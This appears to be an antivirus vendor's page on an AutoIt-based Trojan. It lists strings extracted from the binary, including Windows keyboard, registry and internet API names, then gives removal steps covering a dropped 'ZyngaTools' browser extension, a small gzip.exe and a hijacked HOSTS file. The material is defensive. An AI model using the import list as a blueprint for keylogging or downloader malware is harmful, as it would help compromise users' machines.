(*VERB) with an argument is not supported

ICMP.DLL

advapi32.dll

RegDeleteKeyExW

zcÁ

GetProcessHeap

CreatePipe

GetWindowsDirectoryW

GetCPInfo

GetConsoleOutputCP

RegDeleteKeyW

RegCreateKeyExW

RegEnumKeyExW

RegCloseKey

RegOpenKeyExW

SetViewportOrgEx

ShellExecuteExW

SHFileOperationW

ShellExecuteW

RegisterHotKey

GetKeyboardLayoutNameW

ExitWindowsEx

EnumThreadWindows

GetAsyncKeyState

SetKeyboardState

GetKeyboardState

GetKeyState

VkKeyScanW

EnumWindows

EnumChildWindows

MapVirtualKeyW

CloseWindowStation

SetProcessWindowStation

OpenWindowStationW

UnregisterHotKey

keybd_event

InternetCrackUrlW

HttpQueryInfoW

HttpOpenRequestW

HttpSendRequestW

FtpOpenFileW

FtpGetFileSize

InternetOpenUrlW

.text

`.rdata

@.data

.rsrc

y).JZn

mscoree.dll

KERNEL32.DLL

>>>AUTOIT NO CMDEXECUTE<<<

CMDLINERAW

CMDLINE

/AutoIt3ExecuteLine

/AutoIt3ExecuteScript

%s (%d) : ==> %s.:

Line %d:

Line %d (File "%s"):

%s (%d) : ==> %s:

AutoIt script files (*.au3, *.a3x)

*.au3;*.a3x

All files (*.*)

#NoAutoIt3Execute

APPSKEY

04090000

%u.%u.%u.%u

0.0.0.0

Mddddd

%s (%d) : ==> %s:

UDPSTARTUP

UDPSHUTDOWN

UDPSEND

UDPRECV

UDPOPEN

UDPCLOSESOCKET

UDPBIND

TRAYGETMSG

TCPSTARTUP

TCPSHUTDOWN

TCPSEND

TCPRECV

TCPNAMETOIP

TCPLISTEN

TCPCONNECT

TCPCLOSESOCKET

TCPACCEPT

SHELLEXECUTEWAIT

SHELLEXECUTE

REGENUMKEY

MSGBOX

ISKEYWORD

HTTPSETUSERAGENT

HTTPSETPROXY

HOTKEYSET

GUIREGISTERMSG

GUIGETMSG

GUICTRLSENDMSG

GUICTRLRECVMSG

FTPSETPROXY

\??\%s

GUI_RUNDEFMSG

SendKeyDelay

SendKeyDownDelay

TCPTimeout

AUTOITCALLVARIABLE%d

255.255.255.255

Keyword

AutoIt.Error

Null Object assignment in FOR..IN loop

Incorrect Object type in FOR..IN loop

HOTKEYPRESSED

AUTOITEXE

WINDOWSDIR

3, 3, 6, 1

HKEY_LOCAL_MACHINE

HKEY_CLASSES_ROOT

HKEY_CURRENT_CONFIG

HKEY_CURRENT_USER

HKEY_USERS

%d/d/d

c:\%original file name%.exe

:C:\%original file name%.exe

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:
   

   C:\ZyngaTools\manifest.json (756 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\icon_128[1].png (21953 bytes)
   C:\ZyngaTools\background.js (388 bytes)
   C:\ZyngaTools\jquery-1.9.0.min.js (12076 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\icon[1].png (25 bytes)
   %Documents and Settings%\%current user%\Desktop\ZyngaTools.lnk (571 bytes)
   %System%\drivers\etc\hosts (777 bytes)
   C:\ZyngaTools\document_idle.js (2500 bytes)
   C:\ZyngaTools\icon.png (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\gzip.exe (44 bytes)
   C:\ZyngaTools\icon_128.png (6532 bytes)

4. Restore the original content of the HOSTS file (%System%\drivers\etc\hosts):
   127.0.0.1 localhost
   
5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.